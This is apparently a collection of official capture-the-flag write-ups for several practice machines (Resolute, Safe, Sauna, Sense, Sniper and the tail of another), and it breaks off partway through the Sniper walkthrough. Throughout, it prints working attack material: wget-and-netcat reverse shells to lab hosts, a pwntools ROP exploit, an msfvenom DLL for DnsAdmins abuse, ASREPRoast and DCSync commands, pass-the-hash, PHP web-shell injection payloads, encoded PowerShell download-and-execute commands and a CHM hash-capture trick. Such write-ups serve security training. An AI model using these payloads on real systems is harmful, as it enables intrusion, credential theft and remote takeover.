Further inspection of the admin panel reveals that it is vulnerable to XSS.

Page 9 / 16
OS Command Injection

It is possible to inject commands into the "ip" parameter, and the output is returned.

A shell is received as www-data:

Page 10 / 16
SQL Injection

Introducing a single quote in the "o" parameter results in a SQL error.

Exploitation is automated using sqlmap, and hashes are found.

sqlmap -r intra-post-login.req -v3 --delay=1 --batch


sqlmap -r intra-post-login.req -v3 --delay=1 --batch --dump D redcross -T users

Page 11 / 16
As expected, the guest account hash is cracked, but no success is had with the other accounts.

Page 12 / 16
Haraka Exploitation

After adding the IP address to the whitelist, nmap is run again. Other ports are now accessible.

A Haraka installation is available on port 1025, and it is a vulnerable version.

Page 13 / 16
The exploit is copied locally and it is edited to use the correct port number.

The RCE test is successful and pings are received.

After preparing the web server and standing up a listener, the following payload is used and a
shell as "penelope" is received.

cd​ /tmp; wget http://10.10.14.9:8443/nc; chmod 777 ./nc; ./nc 10.10.14.9 443 -e /bin/bash

Page 14 / 16
Privilege Escalation

PostgreSQL, PAM and Name Service Switch (NSS)

Enumeration of the web folders reveals PostgreSQL credentials.

unixusrmgr:dheu%7wjx8B&

psql -h 127.0.0.1 -U unixusrmgr unix

Inspection of the tables "\dt" reveals "passwd_table". It seems that PAM/NSS is configured. Useful
reference:

https://serverfault.com/a/538503

select * from passwd_table;

It is possible to change the gid, and therefore elevate privileges. This can be done by adding the
user to the "disk" group:

update passwd_table ​set​ gid=6 ​where​ uid=2020;

Page 15 / 16
After logging back in over SSH, debugfs is used to read the root flag.

Or by adding the user to the "sudo" group, and getting a root shell:

update passwd_table ​set​ gid=27 ​where​ uid=2020;

Page 16 / 16
Resolute
28th May 2020 / Document No D20.100.74

Prepared By: bertolis

Machine Author: egre55

Difficulty: Medium

Classification: Official
Synopsis
Resolute is an easy difficulty Windows machine that features Active Directory. The Active
Directory anonymous bind is used to obtain a password that the sysadmins set for new user
accounts, although it seems that the password for that account has since changed. A password
spray reveals that this password is still in use for another domain user account, which gives us
access to the system over WinRM. A PowerShell transcript log is discovered, which has captured
credentials passed on the command-line. This is used to move laterally to a user that is a
member of the DnsAdmins group. This group has the ability to specify that the DNS Server
service loads a plugin DLL. After restarting the DNS service, we achieve command execution on
the domain controller in the context of NT_AUTHORITY\SYSTEM .

Skills Required
Basic knowledge of Windows
Basic knowledge of Active Directory

Skills Learned
DnsAdmins Abuse
Enumeration
Nmap

nmap -A -v 10.10.10.169

Nmap output reveals that this is a domain controller for the domain megabank.local .

LDAP
Let's check if LDAP anonymous binds are allowed and attempt to retrieve a list of users. To do
this, we can use Windapsearch.

./windapsearch.py -d resolute.megabank.local --dc-ip 10.10.10.169 -U

Windapsearch can also be used to dump all attributes from LDAP. This way we can check for
passwords stored in descriptions or other fields.

./windapsearch.py -d resolute.megabank.local --dc-ip 10.10.10.169 -U --full |


grep Password
According to the description, password Welcome123! was set for the new user, and it is possible
that this is the standard password for newly created user accounts. It is quite common for a
sysadmin to set the same password for new accounts and ask users to update it later.
Foothold
It's quite possible that a new joiner also hasn't changed their initial password. Let's attempt a
password spray with it. First, save the Windapsearch output to a file.

./windapsearch.py -d resolute.megabank.local --dc-ip 10.10.10.169 -U > users

Before we begin with the password spray, it would be wise to take a look at the account lockout
policy of the domain controller, as a careless password spray along with a restrictive password
lockout policy may lock out accounts.

ldapsearch -x -p 389 -h 10.10.10.169 -b "dc=megabank,dc=local" -s sub "*" | grep


lock

The lockoutThreshold: 0 indicates that there is no account lockout policy. Thus, we can go on
and use the following bash script to loop through the user list and verify their credentials using
rpcclient .

for u in $(cat users | awk -F@ '{print $1}' | awk -F: '{print $2}');
do
rpcclient -U "$u%Welcome123!" -c "getusername;quit" 10.10.10.169 | grep
Authority;
done

This finds that the user melanie has the password Welcome123! . As port 5985 is open, we can
attempt to connect to the server via WinRM using Evil-WinRM.

evil-winrm -i 10.10.10.169 -u melanie -p Welcome123!


The user flag is located in C:\Users\melanie\Desktop\ .
Lateral Movement
The current user doesn't seem privileged, and there doesn't seem to be anything interesting in
the profile folders. Let's enumerating the file system, starting with the C:\ root. This doesn't
reveal anything interesting, and we can use the -force option. This reveals the hidden directory
C:\PSTranscripts\ .

dir -force

This directory in turn, contains the hidden subdirectory C:\PSTranscripts\20191203\ . After


running the command dir -force again, we see the hidden file:

C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.t
xt .

It seems that PowerShell Transcription logging is enabled on this system. This can be interesting
in cases that passwords are passed over the command-line. Examination of this file reveals that
the net use command syntax was incorrect. This generated an error that including the original
command, which was captured by the PowerShell transcript log. The original command passed
credentials for the user ryan in order to map a remote file share.
Issuing net user ryan reveals that they are in the Remote Management Users group. Using Evil-
WinRM again, we can login as ryan .

evil-winrm -i 10.10.10.169 -u ryan -p Serv3r4Admin4cc123!


Privilege Escalation
The user ryan is found to be a member of DnsAdmins . Being a member of the DnsAdmins
group allows us to use the dnscmd.exe to specify a plugin DLL that should be loaded by the DNS
service. Let's create a DLL using msfvenom , that changes the administrator password.

msfvenom -p windows/x64/exec cmd='net user administrator P@s5w0rd123! /domain' -


f dll > da.dll

Transferring this to the box would likely trigger Windows Defender, so we can use Impacket's
smbserver.py to start an SMB server and host the dll remotely.

sudo smbserver.py share ./

The dnscmd utility can be used to set the remote DLL path into the Windows Registry.

cmd /c dnscmd localhost /config /serverlevelplugindll \\10.10.14.9\share\da.dll

Next, we need to restart the DNS service in order to load our malicious DLL. DnsAdmins aren't
able to restart the DNS service by default, but in seems likely that they would be given
permissions to do this, and in this domain this is indeed the case.

sc.exe stop dns


sc.exe start dns

The service restarted successfully, and we saw a connection attempt on our SMB server. We can
now attempt to login as administrator using psexec.py with our password.

sudo psexec.py megabank.local/[email protected]

The root flag is located in C:\Users\Administrator\Desktop\ .


Safe
25​th​ October 2019 / Document No D19.100.49
Prepared By: MinatoTW
Machine Author: ecdo
Difficulty: ​Easy
Classification: Official

Page 1 / 19
SYNOPSIS
Safe is an Easy difficulty Linux VM with a vulnerable service running on a port. The binary is found
to be vulnerable to buffer overflow, which needs to be exploited through Return Oriented
Programming (ROP) to get a shell. The user’s folder contain images and a keepass database
which can be cracked using John the ripper to gain the root password.

Skills Required Skills Learned

● Enumeration ● ROP
● Exploit Development ● Cracking keepass databases

Page 2 / 19
Enumeration

Nmap
ports=$(nmap -PN -p- --min-rate=1000 -T4 10.10.10.147 | grep ^[0-9] | cut -d '/'
-f 1 | tr '\n' ',' | sed s/,$//)
nmap -PN -sC -sV -p$ports 10.10.10.147

We see SSH and Apache running on their default ports, as well as an unidentified service running
on port 1337.

Apache

Browsing to port 80 we come across the default HTTP page. Looking at the page source a
comment can be seen at the top.

Page 3 / 19
It says the binary running on port 1337 can be downloaded from the web server. Let’s download
and analyze it before proceeding.

Exploit Development

The binary “myapp” is a 64 bit ELF executable.

On running the binary, we see that it just echoes back the input. Let’s open it up in GDB to look at
the functions.

We’ll use the ​GEF​ plugin with GDB. Use the following command to install it locally.

Page 4 / 19
Once installed, open the binary in GDB.

Apart from the default functions, we see that the binary has imported the system() function, which
will help us execute system commands. The binary also uses the gets() function which is
vulnerable to buffer overflows. There are two user defined functions where main is the default
starting point, along with an additional function test(). We can look at the binary protections using
the checksec command.

As NX (No-eXecute) is enabled, we’ll have to use a ROP ( Return oriented programming) based
approach to exploit the buffer overflow. Let’s look at the disassembly of the main function.

Page 5 / 19
We see that the binary loads a buffer [rbp-0x70] i.e 0x70 bytes in size into rax and then moves it
to rdi. The 64 bit assembly uses registers for calling functions. The RDI register is used for the
first argument, RSI for the second, RDX for the third and so on. RDI is loaded with a buffer of size
0x70 i.e 112 bytes, the binary calls gets() to save user input into it and then uses puts to print the
contents of the buffer. So, ideally we should be able to overflow the buffer with input greater than
112 bytes. Let’s try sending 120 bytes and check if we could overwrite RBP.

First create an input of 120 bytes, where the first 112 bytes are A’s and the rest 8 are B’s.

Now, let’s check if we have overwritten RBP.

Page 6 / 19
From the output we see that RBP contains “BBBBBBBB” which means we can overflow the buffer
with 120 bytes. We can now control RIP with the bytes after 120.

Let’s look at the disassembly of the “test” function now.

The function moves RSP to RDI and jumps to the address present in R13.

We can use this to our advantage by setting R13 to the address of the system() call. RSP points to
the top of the stack, which can be controlled by our input. As mentioned, x64 uses the RDI

Page 7 / 19
register for the first argument. This will let us place the address to “/bin/sh” in RDI and then jump
to the system call using R13.

To place the address of the system call into R13 a “pop r13” gadget is needed. The POP
instruction moves the top of the stack into the specified register. We can use ropper in order to
find such a gadget.

It found a gadget for “pop r13; pop r14; pop r15; ret;” at the address 0x0401206. We can now start
creating our ROP chain using pwntools.

from​ pwn ​import​ *

buf = ​"A"​ * ​120

'''
0x0000000000401206: pop r13; pop r14; pop r15; ret;
'''

pop_r13_junk_junk = p64(​0x401206​)

'''
0x000000000040116e <+15>: call 0x401040 <system@plt>
'''

system = p64(​0x40116e​)

chain = buf + pop_r13_junk_junk + system + ​"BBBBBBBB"​ + ​"CCCCCCCC"

Page 8 / 19
print​ chain

This is the first part of the chain, where we pop the address to the system call into the R13
register. Additionally, there has to be some junk on the stack to pop into the R14 and R15
registers, for which the script uses B’s and C’s. Run the script, directing the output to a file, and
then use GDB to send this as input to the binary.

The program crashes and we’ll see the desired address present in R13, as well as B’s and C’s
present in R14 and R15 registers respectively.

After placing the address into R13, we can call the test function. The test function moves the
address for RSP to RDI. We can place “/bin/sh” into RSP so that it’s copied to RDI, and then
system is called with RDI as the argument.

Here’s the modified script:

from​ pwn ​import​ *

buf = ​"A"​ * ​120

'''
0x0000000000401206: pop r13; pop r14; pop r15; ret;
'''

pop_r13_junk_junk = p64(​0x401206​)

Page 9 / 19
'''
0x000000000040116e <+15>: call 0x401040 <system@plt>
'''

system = p64(​0x40116e​)

binsh = ​"/bin/sh\x00"

'''
0x0000000000401156 <+4>: mov rdi,rsp
0x0000000000401159 <+7>: jmp r13
'''

test = p64(​0x401156​)

chain = buf + pop_r13_junk_junk + system + ​"BBBBBBBB"​ + ​"CCCCCCCC"​ + test + binsh

print​ chain

The address for test can be found using objdump or GDB. We need to terminate “/bin/sh” with a
null byte as C considers strings as a sequence of characters terminated by a null byte. We place
the binsh string at the top of the stack so that it’s address gets moved to RDI.

Page 10 / 19
Execute it and redirect the output to a file again. We can add a breakpoint at the MOV
instructions to view the flow of the chain.

After the first breakpoint is hit, we can see that RSP points to the “/bin/sh” string. Now enter “si”
to step an instruction.

Page 11 / 19
We see that RDI now points to the buffer with “/bin/sh”. Stepping again the code should jump to
the system call.

The chain jumped to the system call, and GDB guessed the arguments for RDI (pointing to our
string) and RSI (pointing to the return address). RDI can be anything and is called only after
exiting.

Page 12 / 19
Foothold

Let’s run the exploit locally to see if it worked.

The chain was successful and we were able to pop a shell. Let’s modify the script to send this
payload to the server.

from​ pwn ​import​ *

p = remote(​"10.10.10.147"​ , ​1337​)
buf = ​"A"​ * 1
​ 20

'''
0x0000000000401206: pop r13; pop r14; pop r15; ret;
'''
pop_r13_junk_junk = p64(​0x401206​)

'''
0x000000000040116e <+15>: call 0x401040 <system@plt>
'''
system = p64(​0x40116e​)
binsh = ​"/bin/sh\x00"

'''
0x0000000000401156 <+4>: mov rdi,rsp
0x0000000000401159 <+7>: jmp r13
'''
test = p64(​0x401156​)

Page 13 / 19
chain = buf + pop_r13_junk_junk + system + ​"BBBBBBBB"​ + ​"CCCCCCCC"​ + test + binsh
p.sendline(chain)
p.interactive()

We create a connection to port 1337 on the box and send the payload using the sendline()
function. Then the interactive mode is turned on to interact with the shell.

The exploit was successful and we were able to get a shell as the user “user”.

Page 14 / 19
Privilege Escalation

Navigating to the user’s home folder, we see a KeePass database and a few images.

We can copy our public key to authorized_keys, so that we can SSH into the box.

Page 15 / 19
We have successfully upgraded our shell.

Looking at the images we can assume that one of them is a key to the KeePass database.
Transfer all the images and KeePass database using SCP.

We can generate hashes for each image using keepass2john and try to crack them. The -k
parameter in keepass2john can be used to specify the keyfile. The following bash script will
append hashes to a file.

for​ i ​in​ *.JPG


do

Page 16 / 19
keepass2john -k ​$i​ MyPasswords.kdbx >> hashes
done

We can use John The Ripper along with rockyou.txt to crack the hashes.

The password was cracked as “bullshit”. But we don’t know the name of the keyfile this is valid
for. We can create a script using kpcli to find the image. Kpcli is a command line interface for
KeePass and can be installed using apt.

The following script will try to open the db using each file and returns the filename if the exit code
is equal to 0 (i.e. success).

#!/bin/bash

for​ i ​in​ *.JPG


do
echo​ bullshit | kpcli --kdb MyPasswords.kdbx --key ​$i​ --​command​ quit
>/dev/null 2>&1

Page 17 / 19
if​ [[ $? -eq 0 ]]
then
echo​ ​"Key: ​$i​"
break
fi
done

The password is echoed through stdin, while output and errors are directed towards /dev/null. If
the exit status is 0, the script breaks and prints the key.

The key is found to be IMG_0547.JPG. This can be used with kpcli to open the database.

Page 18 / 19
Upon entering, we see an item named “MyPasswords”, getting into it and listing again an entry
for root password is present. This can be viewed using the show command. We can now use the
root password to su and get the flag.

Page 19 / 19
Sauna
29th April 2020 / Document No D20.100.65

Prepared By: bertolis

Machine Author: egotisticalSW

Difficulty: Easy

Classification: Official
Synopsis
Sauna is an easy difficulty Windows machine that features Active Directory enumeration and
exploitation. Possible usernames can be derived from employee full names listed on the website.
With these usernames, an ASREPRoasting attack can be performed, which results in hash for an
account that doesn't require Kerberos pre-authentication. This hash can be subjected to an
offline brute force attack, in order to recover the plaintext password for a user that is able to
WinRM to the box. Running WinPEAS reveals that another system user has been configured to
automatically login and it identifies their password. This second user also has Windows remote
management permissions. BloodHound reveals that this user has the DS-Replication-Get-Changes-
All extended right, which allows them to dump password hashes from the Domain Controller in a
DCSync attack. Executing this attack returns the hash of the primary domain administrator, which
can be used with Impacket's psexec.py in order to gain a shell on the box as
NT_AUTHORITY\SYSTEM .

Skills required
Basic knowledge of Windows
Basic knowledge of Active Directory

Skills learned
ASREPRoasting Attack
DCSync Attack
Enumeration
Nmap

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.175 | grep ^[0-9] | cut -d '/' -f


1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.175

Nmap output reveals that this is a domain controller for the domain egotistical-bank.local .
Internet Information Services (IIS) and LDAP are running on their respective default ports (80 and
389), and can be enumerated further.

LDAP
Enumerating LDAP with windapsearch, we observe that anonymous binds are allowed. However,
this doesn't return any domain objects.
./windapsearch.py -d egotistical-bank.local --dc-ip 10.10.10.175 -U

We can try using Impacket's GetADUsers.py as well, but this doesn't return any useful
information either.

GetADUsers.py egotistical-bank.local/ -dc-ip 10.10.10.175 -debug

SMB
The smbclient utility can be used to enumerate shares. Anonymous login is successful, but no
shares are returned.
Let's proceed to examine the website.

Web
Navigating to the website in a browser reveals a website for a bank. The Wappalyzer add-on
doesn't identify any vulnerable technologies.

Scanning the website using ffuf reveals some common files and directories, but nothing stands
out as interesting.

./ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.175/FUZZ

On navigating to about.html and scrolling down, we see a section containing full names of some
Bank employees.
Foothold
We can use a tool such as Username Anarchy to create common username permutations based
on the full names. After saving the full names to a text file, we run the script.

./username-anarchy --input-file fullnames.txt --select-format


first,flast,first.last,firstl > unames.txt

With our list of common usernames, we can see if Kerberos pre-authentication has been disabled
for any of them. Kerberos pre-authentication is a security feature that provides protection against
password-guessing attacks. In some cases, applications require this setting to be enabled for
their service account (e.g. Alfresco). When pre-authentication is not enforced, one could directly
send a dummy request for authentication. The Key Distribution Center (KDC) of the Domain
Controller will check the authentication service request (AS-REQ), verify the user information and
return an encrypted Ticket Granting Ticket (TGT). The TGT contains material (the timestamp) that
is encrypted with the NTLM hash of the corresponding account. A hash can be derived from this,
that can be subjected to an offline brute force attack in order to reveal the plaintext password.

Using Impacket's GetNPUser, we can attempt an ASREPRoasting attack in order to extract a hash
from user accounts that do not require pre-authentication. A simple bash command can be used
to execute this attack, and iterate through the usernames in unames.txt .

while read p; do GetNPUsers.py egotistical-bank.local/"$p" -request -no-pass -


dc-ip 10.10.10.175 >> hash.txt; done < unames.txt
GetNPUsers.py returns a hash for user fsmith .

Hashcat
hashcat can be used to brute force the password. We can save the hash into a file, and
determine the correct hash mode for ASREPRoasting.

hashcat --help | grep Kerberos

We choose Kerberos 5 AS-REP etype 23 , i,e. mode 18200 . Next, run hashcat specifying this
mode and the rockyou.txt wordlist.

hashcat -m 18200 hash.txt -o pass.txt /usr/share/wordlists/rockyou.txt --force


After some seconds the password is found.

WinRM
With the gained credentials fsmith / Thestrokes23 we can try to login using WinRM (port
5985). Windows Remote Management (WinRM), is a Windows-native built-in remote management
protocol and it is often enabled for users that need to manage systems remotely. We can use evil-
winrm to connect to the remote system.

evil-winrm -i 10.10.10.175 -u fsmith -p 'Thestrokes23'


The user flag is located in C:\Users\Fsmith\Desktop\ .
Privilege Escalation
Having gained a foothold on the machine, we can use a script such as WinPEAS to automate
enumeration tasks. Use the upload command from our current WinRM session to transfer the
binary to the remote server, and then run it.

The script reveals that the user EGOTISTICALBANK\svc_loanmanager has been set to
automatically log in, and this account has the password Moneymakestheworldgoround! .
Examination of C:\Users\ confirms that the similarly named svc_loanmgr has logged on
locally.

The command net user svc_loanmgr reveals that this user is also part of the Remote
Management Users group. Use evil-winrm again to login as this new user.

evil-winrm -i 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!'


Bloodhound
We can use Bloodhound to enumerate and visualise the Active Directory domain, and identify
possible attack chains that will allow us to elevate our domain privileges. The bloodhound-
python ingestor can be used to remotely collect data from the Active Directory. Then, we can run
bloodhound to visualise any available attack paths.

sudo apt install bloodhound


sudo pip install bloodhound-python
bloodhound-python -u svc_loanmgr -p Moneymakestheworldgoround! -d EGOTISTICAL-
BANK.LOCAL -ns 10.10.10.175 -c All

Start neo4j server.

neo4j console

Then type bloodhound to access the BloodHound UI. When bloodhound-python is finished,
compress the files into a zip and upload it.

zip info.zip *.json

BloodHound data consists of Nodes that represent principals and other objects in Active
Directory, and Edges, which are links representing some form of object-to-object control or
privileges. On the Queries tab, click on Find Principals with DCSync Rights . We note that
node [email protected] is connected with the EGOTISTICAL-BANK.LOCAL
node, via the GetChangesAll edge.

After right-clicking on the edge and clicking Help , we see that svc_loanmgr is capable of
dumping password hashes from the Domain Controller by using a DCSync attack.
DCSync
Impacket's secretsdump.py can be used to perform this attack.

This script will reveal the NTLM hashes for all domain users, using the replication privileges. Run
the command below to dump the password hash of the primary domain administrator.

secretsdump.py egotistical-bank/[email protected] -just-dc-user


Administrator

Having successfully extracted the hash of the administrator, we can perform a Pass The Hass
attack using Impacket's psexec.py and the returned hash, and get a shell as SYSTEM.

psexec.py egotistical-bank.local/[email protected] -hashes


d9485863c1e9e05851aa40cbb4ab9dff:d9485863c1e9e05851aa40cbb4ab9dff

The root flag is located in C:\Users\Administrator\Desktop\ .


Sense
​ ​ October 2017 / Document No D17.100.30
22​nd​
Prepared By: Alexander Reid (Arrexel)
Machine Author: lkys37en
Difficulty: ​Medium
Classification: Official

Page 1 / 5
SYNOPSIS
Sense, while not requiring many steps to complete, can be challenging for some as the proof of
concept exploit that is publicly available is very unreliable. An alternate method using the same
vulnerability is required to successfully gain access.

Skills Required Skills Learned

● Basic knowledge of PHP ● Modifying publicly available exploits


● Enumerating ports and services ● Bypassing strict filtering
● Exploiting PFSense

Page 2 / 5
Enumeration

Nmap

Nmap reveals only a lighttpd server running on ports 80 and 443. Browsing to the website root
directory reveals a PFSense login.

Page 3 / 5
Dirbuster

Dirbuster, with the lowercase medium wordlist, finds a ​changelog.txt​​ file which states 2 of 3
vulnerabilities have been patched. It also finds a ​system-user.txt​​ which exposes the PFSense
login credentials as ​rohit:pfsense

Page 4 / 5
Exploitation

Exploit: ​https://www.exploit-db.com/exploits/39709/

At first, exploitation seems fairly straightforward. However after a few attempts, it is clear the
above proof of concept is not stable on this machine. Rather than using octals, it is possible to
Base64-encode some PHP to obtain a reverse shell. Note that many URL encoding tools do not
encode parenthesis and ampersands, which is required for this exploit to work.

To start out, log in as the ​rohit​​ user and browse to ​Status > RRD Graphs​​, using Burp Suite to
intercept the request to ​status_rrd_graph_img.php​​.

The above request will create a ​writeup.php​​ file on the target in the root of the web directory. It
accepts a single GET argument (cmd) which can be used to open a reverse shell or obtain the
flags. Successful exploitation yields access as the root user, and flags can be obtained from
/home/rohit/user.txt​​ and ​/root/root.txt​​.

Encoded Request

/status_rrd_graph_img.php?database=queues;cd+..;cd+..;cd+..;cd+usr;cd+local;cd+www;echo+"%3
C%3Fphp+eval%28base64_decode%28%27ZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsg%2
7%29%29%3B%3F%3E">writeup.php

Decoded Request

/status_rrd_graph_img.php?database=queues;cd+..;cd+..;cd+..;cd+usr;cd+local;cd+www;echo+"<?
php eval(base64_decode('ZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsg'));?>">writeup.php

Decoded Base64

echo system($_GET['cmd']);

Page 5 / 5
Sniper
24th March 2020 / Document No D20.100.62

Prepared By: TRX

Machine Author: MinatoTW

Difficulty: Medium

Classification: Official
Synopsis
Sniper is a medium difficulty Windows machine which features a PHP server. The server hosts a
file that is found vulnerable to local and remote file inclusion. Command execution is gained on
the server in the context of NT AUTHORITY\iUSR via local inclusion of maliciously crafted PHP
Session files. Exposed database credentials are used to gain access as the user Chris , who has
the same password. Enumeration reveals that the administrator is reviewing CHM (Compiled
HTML Help) files, which can be used the leak the administrators NetNTLM-v2 hash. This can be
captured, cracked and used to get a reverse shell as administrator using a PowerShell credential
object.

Skills Required
Enumeration

Skills Learned
LFI and RFI
PHP Session File Abuse
Malicious CHM Creation
NetNTLM-v2 Hash Capture and Cracking
Enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.151 | grep ^[0-9] | cut -d '/' -f
1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.151

The scan reveals that this is a Windows system which is running an IIS web server. Let's check out
the website in our browser.

The website belongs to the company Sniper Co. Items of interest are a login page and company
blog. The blog contains information about the website.
Foothold
Local File Inclusion
After navigating to the blog page and changing the language, we see the following URL.

http://10.10.10.151/blog/?lang=blog-en.php

Since the page uses a GET parameter to load a page it would be a good idea to test for a Local
File Inclusion. Usually we can use ../ to load files from different directories. In windows the
default web directory is C:\inetpub\wwwroot . As we are in the blog subdirectory the path
would be C:\inetpub\wwwroot\blog\ . In order to traverse up three directories and load the
Windows Initialization file from C:\Windows\win.ini we can input the following.

http://10.10.10.151/blog/?lang=../../../windows/win.ini

However, this is unsuccessful. Instead, let's try again, specifying the absolute path.

http://10.10.10.151/blog?lang=/windows/win.ini

Using Curl to load the above web page, we can view the ini file at the bottom of the page.

curl -X GET http://10.10.10.151/blog/?lang=/windows/win.ini

Session Cookie
We need to find a way to upgrade from LFI to RCE. After searching, we come across this blog
post. Let's see what the user session file contains. First of all we will have to register as a new
user, for instance Email: [email protected] / Username: guest / Password: guest and login.
The login was successful and we are presented with the following page.

We now need to find our session cookie value which is a unique identifier that PHP uses to
differentiate between users. This can be done by right clicking on the web page, clicking Inspect
Element , navigating to Storage and copying the PHPSESSID value.
PHP stores the session files in C:\Windows\TEMP in the format sess_<cookie> . In order to read
our session file we will use the session ID we acquired. In this case the session file would be
sess_923nktm0vmmi12qrptls332t5o . Let's see if we can read it.

curl -X GET http://10.10.10.151/blog/?


lang=/windows/temp/sess_923nktm0vmmi12qrptls332t5o

Note: Replace everything after sess_ with your own cookie value.

In the source code we see that the session file stores our username and its length. Since we
logged in as guest , PHP created a session file and binded that session with the username
guest . This is done so that after a refresh, PHP knows if you have logged in or not.

Remote Code Execution


If we can create a username containing PHP code, we could potentially gain RCE. Consider the
following as a username.

<?=`powershell whoami`?>

The symbol ` is an alias for PHP's exec , therefore anything inside ` will be executed.

Let's register a new user with the above code as a username, and log back in. The session file
should be overwritten with the new username. We can use Curl to load the web page.

curl -X GET http://10.10.10.151/blog/?


lang=/windows/temp/sess_923nktm0vmmi12qrptls332t5o

In the source code we see IUSR as the username which is the default user for IIS (when
impersonation is enabled).
Blacklisting
Attempting to create a username with specific characters such as $ is unsuccessful, which
indicates the presence of a blacklist. In order to figure out which characters are forbidden, we can
create a Python script which creates credentials with each symbol and then attempts to log in. If
the login is denied then that means that the character is forbidden. Let's script this.

import requests
import string
import random

loginurl = "http://10.10.10.151/user/login.php"
registerurl = "http://10.10.10.151/user/registration.php"
# Get all the symbols and add them in a list
characters = string.punctuation
# Pick a random number of characters to fill in the forms
rand = "A" * random.randint(1,10)
print("Blacklisted Characters: ")
# Iterate the list
for char in characters:
# Keep the single character in a variable
original = char
# Fill the username and password with letters
char = rand + char
data = {'email':'[email protected]', 'username':char, 'password':char,
'submit':' '}
r = requests.post(url = registerurl, data = data)
data = {'username':char, 'password':char, 'submit':' '}
r = requests.post(url = loginurl, data = data)
# Check if we can log in with that specific character in the username
if "Username/password is incorrect." in r.text:
print(original)

Running the script with python3 check.py returns the following.

This identified that the characters "$&'(-.;[_ are blacklisted. We can use Base64 encoding to
bypass the blacklist. Let's encode the whoami command.

echo whoami | iconv -t utf-16le | base64


As the default locale for Windows is UTF-16LE, we use iconv to convert to that locale before
Base64 encoding. The final payload would be:

<?=`powershell /enc dwBoAG8AYQBtAGkACgA=`?>

Shell
In order to gain a reverse shell we can upload Netcat to a writable folder. Place nc.exe in
/var/www/html on your local machine and start Apache.

sudo cp /usr/share/windows-binaries/nc.exe /var/www/html


sudo service apache2 start

Lets separate the payload into two commands, one to download Netcat onto the system and the
second to execute it. First, issue the following command.

echo "wget http://10.10.14.23/nc.exe -o C:\\Windows\\TEMP\\nc.exe" | iconv -t


UTF-16LE | base64

The first payload becomes:

<?=`powershell /enc
dwBnAGUAdAAgAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAzAC8AbgBjAC4AZQB4AGUA
IAAtAG8AIABDADoAXABXAGkAbgBkAG8AdwBzAFwAVABFAE0AUABcAG4AYwAuAGUAeABlAAoA`?>

After creating a new user with the above payload, and using the LFI to trigger execution of the
session cookie, our Netcat binary is uploaded to the server. Next, create the second payload.

echo "C:\Windows\TEMP\nc.exe -e cmd.exe 10.10.14.23 1234" | iconv -t UTF-16LE |


base64

The second payload becomes:

<?=`powershell /enc
QwA6AFwAVwBpAG4AZABvAHcAcwBcAFQARQBNAFAAXABuAGMALgBlAHgAZQAgAC0AZQAgAGMAbQBkAC4A
ZQB4AGUAIAAxADAALgAxADAALgAxADQALgAyADMAIAAxADIAMwA0AAoA`?>

Create a user with the above payload and start Netcat listener.

nc -lvp 1234

After logging in again and navigating to the session cookie, we will receive a shell.
Remote File Inclusion
We can also get a shell by using Remote file Inclusion and SMB. Let's create an SMB share on our
system and place a Web Shell inside. Then we will access the web shell from the Server. Let's
begin by opening the Linux file manager, navigating to our home directory, right clicking the
Public folder, clicking on Sharing Settings and clicking on Share this folder .

Then let's create the file shell.php with the following contents.

<?=`$_GET[0]`?>

Navigate to the following URL.

http://10.10.10.151/blog/?lang=//10.10.14.23/Public/shell.php&0=dir

The variable 0 is used to specify the command to be executed. The above payload will execute a
directory listing on the server.
Lateral Movement
Since the website provided a login functionality a good first step would be to check for any
database credentials. Navigating to C:\inetpub\wwwroot\user\ we see the file db.php , which
contains the MySQL database password: 36mEAhz/B8xQ~2VM .

more C:\inetpub\wwwroot\user\db.php

The net users command reveals a user called chris . There's a chance that the password for the
database has been re-used as his password. We can create a PowerShell credential Object and
check this.

$password = convertto-securestring -AsPlainText -Force -String


"36mEAhz/B8xQ~2VM";
$credential = new-object -typename System.Management.Automation.PSCredential -
argumentlist "SNIPER\chris",$password;
Invoke-Command -ComputerName LOCALHOST -ScriptBlock { whoami } -credential
$credential;

The command output is successful. We can get a shell as Chris by uploading Netcat in his home
folder and executing it. Let's start a Netcat listener.

nc -lvp 4444

Then let's execute it as Chris.

$password = convertto-securestring -AsPlainText -Force -String


"36mEAhz/B8xQ~2VM";
$credential = new-object -typename System.Management.Automation.PSCredential -
argumentlist "SNIPER\chris",$password;
Invoke-Command -ComputerName LOCALHOST -ScriptBlock { wget
http://10.10.14.23/nc.exe -o C:\Users\chris\nc.exe } -credential $credential;
Invoke-Command -ComputerName LOCALHOST -ScriptBlock { C:\Users\chris\nc.exe -e
cmd.exe 10.10.14.23 4444} -credential $credential;

This is successful, and we receive a shell as Chris.


The user flag can be located in C:\Users\chris\Desktop
Privilege Escalation
Navigating to C:\Docs\ we can find a note with the following content.

Hi Chris,

Your php skillz suck. Contact yamitenshi so that he teaches you how to use it
and after that fix the website as there are a lot of bugs on it. And I hope that
you've prepared the documentation for our new app. Drop it here when you're done
with it.

Regards,
Sniper CEO.

In C:\Users\chris\Downloads we find instructions.chm . A CHM file is a compiled HTML file


that is used for "Help Documentation". Therefore, the administrator might be expecting the CHM
file to be in placed in C:\Docs\ .

In order to exploit this, we can create a new CHM file containing a UNC link, that will trigger a
connection to our server on opening. This will allow us to steal the admins NetNTLMv2 hashes.
Consider the following HTML code.

<html>
<body>
<img src=\\10.10.14.23\share\abc.png />
</body>
</html>

We will place the above code into instructions.html , and use the HTML Help Workshop on a
Windows machine to compile the code. Download and install htmlhelp.exe . Next, open HTML
Help Workshop from the Start Menu and click on File -> New -> Project .

We will then be asked the folder in which the project will be saved. We can use the Desktop.
In the next window we will need to click the box to Include HTML files.

Finally we select the file Instructions.html we created earlier.


